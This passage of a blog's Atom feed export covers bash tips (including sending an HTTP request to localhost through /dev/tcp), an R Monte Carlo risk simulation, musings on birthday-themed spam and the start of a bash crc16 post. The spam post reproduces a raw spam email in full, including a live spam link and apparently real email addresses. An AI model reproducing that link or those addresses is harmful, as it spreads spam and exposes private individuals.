&lt;span style=&quot;font-weight:bold;&quot;&gt;4::Here document and redirect&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Sometimes you need to put together a little config file, or perhaps a test HTML page. It is possible to do it quickly without having to resort to opening some sort of editor such as vi.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~$ cat &amp;lt&amp;lt EOF &amp;gt test.conf
&amp;gt option1=blah
&amp;gt option2=something else
&amp;gt debug=true
&amp;gt # end of config
&amp;gt EOF
user@host:~$ cat test.conf
option1=blah
option2=something else
debug=true
# end of config
user@host:~$
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
What we did is specified a &lt;span style=&quot;font-weight:italic;&quot;&gt;here document&lt;/span&gt; using &lt;span style=&quot;font-weight:italic;&quot;&gt;&lt;&lt; EOF&lt;/span&gt;. This keeps reading from the terminal until it encounters the string EOF. That is then redirected into the file, in this case test.conf.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;5::List expansion when copying&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This a very simple but extremely useful little trick that I&#39;m sure you already know, but because of how often it is useful, I thought I&#39;d put it here anyway.&lt;br /&gt;
&lt;br /&gt;
Let us say you have a file you want to quickly backup. Instead of doing something like &lt;span style=&quot;font-weight:italic;&quot;&gt;cp file file.backup&lt;/span&gt; we can use list expansion to shorten the command:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~$ ls
special.conf
user@host:~$ cp special.conf{,.backup}
user@host:~$ ls
special.conf  special.conf.backup
user@host:~$
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;6::Nested list expansion&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Sticking with list expansion, it is worth remembering that you can have nested lists:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~$ touch {a{1..5},b{1,2,4},c{5..9}}
user@host:~$ ls
a1  a2  a3  a4  a5  b1  b2  b4  c5  c6  c7  c8  c9
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;7::Quick maths&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Need to do a quick calculation? Already have a terminal open? Don&#39;t bother firing up a calculator, just do the calculation in bash:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~$ echo $((2**32))
4294967296
user@host:~$
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
See the Bash manpage for the supported operators.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;8::Tilda expansion&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Bash allows you to quickly reference the current $PWD and old one ($OLDPWD). This could be useful if you forgot to use &lt;span style=&quot;font-weight:italic;&quot;&gt;pushd/popd&lt;/span&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~/a$ cd ../b
user@host:~/b$ ls ~+
inside_b
user@host:~/b$ ls ~-
inside_a
user@host:~/b$ echo $OLDPWD
/home/user/a
user@host:~/b$ 
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
So, &lt;span style=&quot;font-weight:italic;&quot;&gt;~+&lt;/span&gt; expands to $PWD and &lt;span style=&quot;font-weight:italic;&quot;&gt;~-&lt;/span&gt; expands to $OLDPWD.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;9::Setting default values&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
When you have a bash script that takes command line arguments you might want to set default values if no arguments are supplied by the user.&lt;br /&gt;
&lt;br /&gt;
In the bash script below, we default arg1 to &quot;a&quot; if argument 1 is not supplied. We default arg2 to &quot;b&quot; and arg3 to &quot;c&quot;. Of course, the order of the arguments matters.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;#!/bin/bash

arg1=${1:-&quot;a&quot;}
arg2=${2:-&quot;b&quot;}
arg3=${3:-&quot;c&quot;}

echo $arg1 $arg2 $arg3
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
When we run the script without arguments, it uses the defaults. But when we give it arguments, it uses those values.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~/test$ bash test.sh
a b c
user@host:~/test$ bash test.sh x y z
x y z
user@host:~/test$
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight:bold;&quot;&gt;10::TCP and UDP&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Finally, bash allows you to send TCP and UDP traffic directly using a special device of the format &lt;span style=&quot;font-weight:italic;&quot;&gt;/dev/tcp/host/port&lt;/span&gt; (use udp instead of tcp if necessary).&lt;br /&gt;
&lt;br /&gt;
Firstly, we set file descriptor 3 to use that device. We can do that with &lt;span style=&quot;font-weight:italic;&quot;&gt;exec&lt;/span&gt;, as it suggests in the manual:&lt;br /&gt;
&lt;br /&gt;
&quot;Note that the exec builtin command can make redirections take effect in the current shell.&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~$ exec 3&amp;lt&amp;gt/dev/tcp/localhost/80
user@host:~$ ls -la /proc/$$/fd/
total 0
dr-x------ 2 user user  0 2011-02-27 16:34 .
dr-xr-xr-x 7 user user  0 2011-02-27 16:34 ..
lr-x------ 1 user user 64 2011-02-27 16:34 0 -&amp;gt /dev/pts/8
lrwx------ 1 user user 64 2011-02-27 16:34 1 -&amp;gt /dev/pts/8
lrwx------ 1 user user 64 2011-02-27 16:34 2 -&amp;gt /dev/pts/8
lrwx------ 1 user user 64 2011-02-27 16:34 255 -&amp;gt /dev/pts/8
lrwx------ 1 user user 64 2011-02-27 16:34 3 -&amp;gt socket:[156914]
user@host:~$
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
We quickly use &lt;span style=&quot;font-weight:italic;&quot;&gt;$$&lt;/span&gt; to see the open file descriptors for our process. As you can see, FD 3 has been opened for a socket connection, in this case a TCP connection to localhost on port 80.&lt;br /&gt;
&lt;br /&gt;
We can now use redirect echo into FD 3. Note that we use the &lt;span style=&quot;font-weight:italic;&quot;&gt;-e&lt;/span&gt; option so that bash interprets the escaped characters giving us new lines needed by the HTTP protocol. We then redirect into cat to read the output.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;user@host:~$ echo -e &quot;GET / HTTP/1.0\n\n&quot; &amp;gt&amp;3
user@host:~$ cat &amp;lt&amp;3
HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 16:34:26 GMT
Server: Apache/2.2.16 (Ubuntu)
Last-Modified: Sun, 27 Feb 2011 16:25:27 GMT
ETag: &quot;901-e-49d4602cddfad&quot;
Accept-Ranges: bytes
Content-Length: 14
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

&amp;lth1&amp;gtHai!&amp;lt/h1&amp;gt
user@host:~$
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Cool huh? Not a telnet, netcat or wget in sight...</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/2351313534003821962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2011/02/10-useful-little-bash-tricks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/2351313534003821962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/2351313534003821962'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2011/02/10-useful-little-bash-tricks.html' title='10 useful little bash tricks'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-5557817391646629804</id><published>2011-02-05T00:30:00.018+00:00</published><updated>2012-10-22T22:51:43.969+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="histogram"/><category scheme="http://www.blogger.com/atom/ns#" term="monte carlo"/><category scheme="http://www.blogger.com/atom/ns#" term="R"/><category scheme="http://www.blogger.com/atom/ns#" term="statistics"/><title type='text'>A simple Monte Carlo simulation with R</title><content type='html'>I recently read &lt;a href=&quot;http://www.amazon.com/gp/product/0470539399?ie=UTF8&amp;amp;tag=0x10secursysa-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0470539399&quot;&gt;How to Measure Anything: Finding the Value of Intangibles in Business&lt;/a&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;1&quot; src=&quot;http://www.assoc-amazon.com/e/ir?t=0x10secursysa-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=0470539399&quot; style=&quot;border: none !important; margin: 0px !important;&quot; width=&quot;1&quot; /&gt; by Douglas W. Hubbard. It&#39;s a fascinating and informative read on the problems and solutions of measuring &quot;soft&quot; variables typically found in business. Fluffy variables like &lt;span style=&quot;font-style: italic;&quot;&gt;productivity&lt;/span&gt;, &lt;span style=&quot;font-style: italic;&quot;&gt;quality&lt;/span&gt;, &lt;span style=&quot;font-style: italic;&quot;&gt;risk&lt;/span&gt; can be measured if you use the right techniques and work within the limitations of measurement and statistics.&lt;br /&gt;
&lt;br /&gt;
There is an excellent example of using a &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Monte_Carlo_method&quot;&gt;Monte Carlo&lt;/a&gt; simulation (or method) to calculate the risk of leasing a new machine in a manufacturing process. You can find the example on pages 82 through to 86.&lt;br /&gt;
&lt;br /&gt;
Given my hatred of spreadsheets and having recently started playing with &lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt;, I thought I would have a go at replicating the simulation using R.&lt;br /&gt;
&lt;br /&gt;
This is what I wrote. Please note I&#39;m still an R n00b so some things can be done better no doubt.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;######################### Variables #######################

# Firstly set this to TRUE if we want to save our plot as a 
# PNG and if so, what file and dimensions
bDoPNG &amp;lt;- FALSE
sFile &amp;lt;- &quot;htma.png&quot;
iWidth &amp;lt;- 1024
iHeight &amp;lt;- 768

# The following values represent our 90% confidence interval 
# (CI) ranges for the various inputs to our simulation.

# We are 90% confident that the maintenance savins per unit 
# is between $10 and $20
vMaintenanceSavingsPerUnit &amp;lt;- c(10,20)

# We are 90% confident that the labour savings per unit 
# is between $-2 and $8
vLabourSavingsPerUnit &amp;lt;- c(-2,8)

# We are 90% confident that the raw material savings per unit 
# is between $3 and $9
vRawMaterialsSavingsPerUnit &amp;lt;- c(3,9)

# We are 90% confident that the production level per year 
# will be between 15K and 35K units
vProductionLevelPerYear &amp;lt;- c(15000,35000)

# The annual lease is $400K so we need to save this amount 
# just to break even for the investment
iAnnualLease &amp;lt;- 400000

# This is a quick cheat which basically means there are 
# 3.29 standard deviations in a 90% confidence interval
iStdDevCheat &amp;lt;- 3.29

# This is the number of simulations we are going to run
iNumberOfSims &amp;lt;- 100000

##################### Generate the basic data ###################

# A new data frame initiated to have iNumberOfSims rows in it
dData &amp;lt;- data.frame(seq(1,iNumberOfSims))

# We use the rnorm function to generate a distribution across 
# all the simulations for the maintenance savings. The mean is 
# literally just the mean of the range (e.g. (20-10)/2) and we 
# also give it the standard deviation of (20-10)/3.29.
dData$MainSavings &amp;lt;- rnorm(iNumberOfSims, 
mean(vMaintenanceSavingsPerUnit), 
diff(vMaintenanceSavingsPerUnit,1,1)/iStdDevCheat)

# Same again for the labour savings
dData$LabourSavings &amp;lt;- rnorm(iNumberOfSims, 
mean(vLabourSavingsPerUnit), 
diff(vLabourSavingsPerUnit,1,1)/iStdDevCheat)

# And the raw material savings
dData$RawMaterialsSavings &amp;lt;- rnorm(iNumberOfSims, 
mean(vRawMaterialsSavingsPerUnit), 
diff(vRawMaterialsSavingsPerUnit,1,1)/iStdDevCheat)

# And finally the production levels
dData$ProdLevel &amp;lt;- rnorm(iNumberOfSims, 
mean(vProductionLevelPerYear), 
diff(vProductionLevelPerYear,1,1)/iStdDevCheat)

# We can now create our total savings column based on the 
# inputs given. Because R is a vector language, the below 
# operation is applied to each row automatically.
dData$TotalSavings &amp;lt;- (dData$MainSavings + dData$LabourSavings +
dData$RawMaterialsSavings) * dData$ProdLevel

# Later on it will look better on the graphs if we deal
# with numbers in thousands so create a couple of shortcut variables
dData$TotalSavingsThousands &amp;lt;- dData$TotalSavings/1000
iAnnualLeaseThousands &amp;lt;- iAnnualLease/1000

# We now let R generate a histogram of our savings but without 
# actually plotting the results. We will end up with a series of 
# buckets (aka breaks) which will go on the X axis and the number 
# of simulations that fell within each bucket (on the Y axis)
hHist &amp;lt;- hist(dData$TotalSavingsThousands,plot=FALSE)

# We create a new data frame for the breaks and counts 
# excluding the last break
dHistData &amp;lt;- data.frame(
breaks=hHist$breaks[1:length(hHist$breaks)-1], 
count=hHist$counts)

# We can calculate the chance of the project making a loss as 
# the sum of counts where the breaks were less than 
# the annual lease (ie. $400K).
fPercentChanceOfLoss &amp;lt;- 100*sum(subset(dHistData,
breaks&amp;lt;iAnnualLeaseThousands,
select=count))/sum(dHistData$count)

# Calculate the median of the savings. That is 50% of
# the simulations had savings less than the median 
# and 50% had savings of more than the median.
fMedian &amp;lt;- median(dData$TotalSavingsThousands)

# We put that chance of loss in a sub title
sSubTitle &amp;lt;- sprintf(&quot;%02.2f%% chance of loss at $400K expense, 
median savings at $%02.0fK&quot;, fPercentChanceOfLoss, fMedian)

# Check whether we want to save our PNG
bDoPNG &amp;amp;&amp;amp; is.null(png(sFile, width=iWidth, height=iHeight))

# Now draw the actual histogram, setting some labels but without 
# drawing the axis
hist(dData$TotalSavingsThousands,col=&quot;lightblue&quot;, main=&quot;Histogram of Savings&quot;,
xlab=&quot;Savings per Year ($000s in 100,000 increments)&quot;,
ylab=&quot;Senarios in Increment&quot;, axes=F)

# Add the sub title
mtext(sSubTitle)

# Draw the Y axis using default parameters
axis(2)

# Now draw the X axis explicitly setting values of the ticks/breaks
axis(1, at=hHist$breaks)

# That&#39;s it, turn off output if saving PNG
bDoPNG &amp;amp;&amp;amp; is.null(dev.off())
&lt;/pre&gt;
And this is the pretty graph it produced. It should look similar to the one on page 86.  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikRSC0dgbP30IXsNLp5YfjiOSTFbG9CwsaHKcbp3q21-7UzMrcuVCkaeagC3FwQ-BiVej9xkj5_SVkOoGk4XR1pXmCH-FhuIg1zcFkj5JGTDA8sv2PYL10xaJiNMXODI0hTaIRRrS7c0o/s1600/htma.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5569999081129951218&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikRSC0dgbP30IXsNLp5YfjiOSTFbG9CwsaHKcbp3q21-7UzMrcuVCkaeagC3FwQ-BiVej9xkj5_SVkOoGk4XR1pXmCH-FhuIg1zcFkj5JGTDA8sv2PYL10xaJiNMXODI0hTaIRRrS7c0o/s400/htma.png&quot; style=&quot;cursor: pointer; display: block; height: 300px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
So yeah, go buy the book. Read it. Then have fun with R :)&lt;br /&gt;
&lt;br /&gt;
&lt;iframe frameborder=&quot;0&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; scrolling=&quot;no&quot; src=&quot;http://rcm.amazon.com/e/cm?lt1=_blank&amp;amp;bc1=000000&amp;amp;IS2=1&amp;amp;bg1=FFFFFF&amp;amp;fc1=000000&amp;amp;lc1=0000FF&amp;amp;t=0x10secursysa-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;m=amazon&amp;amp;f=ifr&amp;amp;asins=0470539399&quot; style=&quot;height: 240px; width: 120px;&quot;&gt;&lt;/iframe&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/5557817391646629804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2011/02/simple-monte-carlo-simulation-with-r.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/5557817391646629804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/5557817391646629804'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2011/02/simple-monte-carlo-simulation-with-r.html' title='A simple Monte Carlo simulation with R'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikRSC0dgbP30IXsNLp5YfjiOSTFbG9CwsaHKcbp3q21-7UzMrcuVCkaeagC3FwQ-BiVej9xkj5_SVkOoGk4XR1pXmCH-FhuIg1zcFkj5JGTDA8sv2PYL10xaJiNMXODI0hTaIRRrS7c0o/s72-c/htma.png" height="72" width="72"/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-5809759201353528051</id><published>2010-07-19T14:58:00.003+01:00</published><updated>2010-07-19T15:06:05.540+01:00</updated><title type='text'>Random spam</title><content type='html'>Literally... This one got through gmail&#39;s spam filters recently... URL in it is&lt;br /&gt;&lt;br /&gt;&quot;hxxp://www.oerstedfiltrate.info&quot;&lt;br /&gt;&lt;br /&gt;which seems to just be spamming about working from home. Had a quick look through the JavaScript, didn&#39;t see anything too scary. Interesting approach though.&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:text&quot;&gt;&lt;br /&gt;Delivered-To: MYEMAILADDRESS&lt;br /&gt;Received: by 10.204.52.201 with SMTP id j9cs78472bkg;&lt;br /&gt;        Mon, 19 Jul 2010 03:02:26 -0700 (PDT)&lt;br /&gt;Received: by 10.42.1.140 with SMTP id 12mr1676540icg.27.1279533745005;&lt;br /&gt;        Mon, 19 Jul 2010 03:02:25 -0700 (PDT)&lt;br /&gt;Return-Path: &lt;roger_to@hotmail.com&gt;&lt;br /&gt;Received: from col0-omc2-s16.col0.hotmail.com (col0-omc2-s16.col0.hotmail.com [65.55.34.90])&lt;br /&gt;        by mx.google.com with ESMTP id 1si10103284ibz.26.2010.07.19.03.02.24;&lt;br /&gt;        Mon, 19 Jul 2010 03:02:25 -0700 (PDT)&lt;br /&gt;Received-SPF: pass (google.com: domain of roger_to@hotmail.com designates 65.55.34.90 as permitted sender) client-ip=65.55.34.90;&lt;br /&gt;Authentication-Results: mx.google.com; spf=pass (google.com: domain of roger_to@hotmail.com designates 65.55.34.90 as permitted sender) smtp.mail=roger_to@hotmail.com&lt;br /&gt;Received: from COL118-W13 ([65.55.34.71]) by col0-omc2-s16.col0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);&lt;br /&gt;  Mon, 19 Jul 2010 03:01:42 -0700&lt;br /&gt;Message-ID: &lt;COL118-W136F7DDFF8C4A8C4603BFEE6BF0@phx.gbl&gt;&lt;br /&gt;Return-Path: roger_to@hotmail.com&lt;br /&gt;Content-Type: multipart/alternative;&lt;br /&gt; boundary=&quot;_075a8098-55f9-4a99-8412-f3c29427bff7_&quot;&lt;br /&gt;X-Originating-IP: [61.247.52.224]&lt;br /&gt;From: ROGER JOEL TORIBIO &lt;roger_to@hotmail.com&gt;&lt;br /&gt;To: &lt;georgeabbatt@hotmail.com&gt;&lt;br /&gt;Subject: Re: leg&lt;br /&gt;Date: Mon, 19 Jul 2010 10:01:42 +0000&lt;br /&gt;Importance: Normal&lt;br /&gt;MIME-Version: 1.0&lt;br /&gt;X-OriginalArrivalTime: 19 Jul 2010 10:01:42.0497 (UTC) FILETIME=[63661D10:01CB2729]&lt;br /&gt;&lt;br /&gt;--_075a8098-55f9-4a99-8412-f3c29427bff7_&lt;br /&gt;Content-Type: text/plain; charset=&quot;Windows-1252&quot;&lt;br /&gt;Content-Transfer-Encoding: quoted-printable&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~]##=3D=3B_ma__ke=2C%$$~_[mo__ney{._@~=3D=3Bfas__t--]=3B~=3B$interne__t]~@=&lt;br /&gt;=3D?~$&lt;br /&gt;&lt;br /&gt;mghmqnc7 lqij0l44 c62u2h47oi9 c8x30ng s212x4cu y9mja8bfhh0 a5dy7n2mv4 5fycq=&lt;br /&gt;2eeh6p sqz7rt eipy94g&lt;br /&gt;nz30d86cgvx 6m7p5v7hd0 98v3nyk 5ohjr jf3mia7km42b y71nk f6owy5dzh w7s3h2 5l=&lt;br /&gt;xnlp3g3m&lt;br /&gt;tu36zwq9k 5g4fcglnu ypbrhwgnm9e ie3s2w yywbw 8hvfk76thv3 zj0c9sifp csft04h =&lt;br /&gt;7j0b6fuh647m egw3vcw60w3&lt;br /&gt;f537u3 o7pf805s cxtnm339vm f7or2a183r8 9c4q70rfp 5sisqgdr4ib demuk81dnob yn=&lt;br /&gt;lhlw47 p22fyvd&lt;br /&gt;c5f1uyii 1y6gs3t13w zbawrjdbco79 ju86sw i1mty2678n0 k8ac2xjr0 cecdlbounyjk =&lt;br /&gt;pp3o 0jxerx 3p0552fepkq&lt;br /&gt;6uyg0x2v2xdr l929yeslo8 4csmmc2 dbu5o ntcjv rom7mlpdm0xc cask yl30c oq8n26&lt;br /&gt;dxdld8iw2fl asbgaqse280 r8hi y5y3e9 zik23m ned6 2a3jp7lgntcx sh3x2e0t&lt;br /&gt;           =20&lt;br /&gt;_________________________________________________________________&lt;br /&gt;Hotmail: Trusted email with Microsoft=92s powerful SPAM protection.&lt;br /&gt;https://signup.live.com/signup.aspx?id=3D60969=&lt;br /&gt;&lt;br /&gt;--_075a8098-55f9-4a99-8412-f3c29427bff7_&lt;br /&gt;Content-Type: text/html; charset=&quot;Windows-1252&quot;&lt;br /&gt;Content-Transfer-Encoding: quoted-printable&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;style&amp;gt;&lt;!--&lt;br /&gt;.hmmessage P&lt;br /&gt;{&lt;br /&gt;margin:0px=3B&lt;br /&gt;padding:0px&lt;br /&gt;}&lt;br /&gt;body.hmmessage&lt;br /&gt;{&lt;br /&gt;font-size: 10pt=3B&lt;br /&gt;font-family:Verdana&lt;br /&gt;}&lt;br /&gt;--&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body class=3D&#39;hmmessage&#39;&amp;gt;&lt;br /&gt;&lt;a href=3D&quot;http://www.oerstedfiltrate.info&quot;&gt;~]##=3D=3B_ma__ke=2C%$$~_[mo__n=&lt;br /&gt;ey{._@~=3D=3Bfas__t--]=3B~=3B$interne__t]~@=3D?~$&lt;/a&gt;&lt;br&gt;&lt;br&gt;mghmqnc7 lqij0=&lt;br /&gt;l44 c62u2h47oi9 c8x30ng s212x4cu y9mja8bfhh0 a5dy7n2mv4 5fycq2eeh6p sqz7rt =&lt;br /&gt;eipy94g&lt;br&gt;nz30d86cgvx 6m7p5v7hd0 98v3nyk 5ohjr jf3mia7km42b y71nk f6owy5dz=&lt;br /&gt;h w7s3h2 5lxnlp3g3m&lt;br&gt;tu36zwq9k 5g4fcglnu ypbrhwgnm9e ie3s2w yywbw 8hvfk76=&lt;br /&gt;thv3 zj0c9sifp csft04h 7j0b6fuh647m egw3vcw60w3&lt;br&gt;f537u3 o7pf805s cxtnm339=&lt;br /&gt;vm f7or2a183r8 9c4q70rfp 5sisqgdr4ib demuk81dnob ynlhlw47 p22fyvd&lt;br&gt;c5f1uy=&lt;br /&gt;ii 1y6gs3t13w zbawrjdbco79 ju86sw i1mty2678n0 k8ac2xjr0 cecdlbounyjk pp3o 0=&lt;br /&gt;jxerx 3p0552fepkq&lt;br&gt;6uyg0x2v2xdr l929yeslo8 4csmmc2 dbu5o ntcjv rom7mlpdm0=&lt;br /&gt;xc cask yl30c oq8n26&lt;br&gt;dxdld8iw2fl asbgaqse280 r8hi y5y3e9 zik23m ned6 2a3=&lt;br /&gt;jp7lgntcx sh3x2e0t&lt;br /&gt;            &lt;br /&gt;&lt;hr /&gt;Hotmail: Trusted email with Microsoft=92s powerful =&lt;br /&gt;SPAM protection. &lt;a href=3D&#39;https://signup.live.com/signup.aspx?id=3D60969&#39;=&lt;br /&gt; target=3D&#39;_new&#39;&gt;Sign up now.&lt;/a&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;=&lt;br /&gt;&lt;br /&gt;--_075a8098-55f9-4a99-8412-f3c29427bff7_--&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/5809759201353528051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2010/07/random-spam.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/5809759201353528051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/5809759201353528051'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2010/07/random-spam.html' title='Random spam'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-8224833673943108301</id><published>2010-06-30T23:23:00.004+01:00</published><updated>2010-06-30T23:37:10.319+01:00</updated><title type='text'>Happy birthday! Spam!!!!?</title><content type='html'>So, it was my birthday fairly recently, thank you, and while checking through my Google Mail spam folder I noticed several emails wishing me a &quot;Happy Birthday&quot; but which seemed to come from sites/organizations/addresses etc that I didn&#39;t recognize. &lt;br /&gt;&lt;br /&gt;This got me thinking.&lt;br /&gt;&lt;br /&gt;Is there any spam floating around which tries to use birthdays as a social engineering vector? Obviously you have a one in 365.25 chance of that person having a birthday on the day they receive the spam email (plus or minus a few days and assuming of course uniform distribution (which isn&#39;t the case I&#39;m sure, but I think spammers could probably time things quite well) and that the spam makes it through whatever filters). Even with those odds working against the spammer, is the potential increased click-through/purchase etc worth it? In fact, if this &lt;a href=&quot;http://www.stanford.edu/~dgleich/notebook/2009/04/birthday_distribution.html&quot;&gt;Birthday distribution&lt;/a&gt; is anything to go by then I should imagine that September offers better than 1/365 odds.&lt;br /&gt;&lt;br /&gt;Has anyone seen this sort of &quot;vector&quot;, does it exist?&lt;br /&gt;&lt;br /&gt;Just a thought.&lt;br /&gt;&lt;br /&gt;kthnxbye&lt;br /&gt;&lt;br /&gt;BTW, I think those emails I saw were things I had signed up for with my +spam@gmail.com address.&lt;br /&gt;If so, hopefully I don&#39;t have to worry about it for another year or so...</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/8224833673943108301/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2010/06/happy-birthday-spam.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8224833673943108301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8224833673943108301'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2010/06/happy-birthday-spam.html' title='Happy birthday! Spam!!!!?'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-3095216264905509876</id><published>2010-06-12T23:38:00.005+01:00</published><updated>2010-06-20T10:27:24.160+01:00</updated><title type='text'>Different crc16 and the problem with hashes</title><content type='html'>OK, so when I said &quot;pretty slow&quot;, I think I actually meant that it is stupidly slow.&lt;br /&gt;&lt;br /&gt;I&#39;ll get to exactly why in a second, but here is a slightly faster crc16 function (I &quot;ported&quot; it from some c code I found whilst googling, but unfortunately I cannot credit the original source as I cannot find it):&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;crc_table=(  0x0000 0x1189 0x2312 0x329b 0x4624 0x57ad 0x6536 0x74bf \&lt;br /&gt;  0x8c48 0x9dc1 0xaf5a 0xbed3 0xca6c 0xdbe5 0xe97e 0xf8f7 \&lt;br /&gt;  0x1081 0x0108 0x3393 0x221a 0x56a5 0x472c 0x75b7 0x643e \&lt;br /&gt;  0x9cc9 0x8d40 0xbfdb 0xae52 0xdaed 0xcb64 0xf9ff 0xe876 \&lt;br /&gt;  0x2102 0x308b 0x0210 0x1399 0x6726 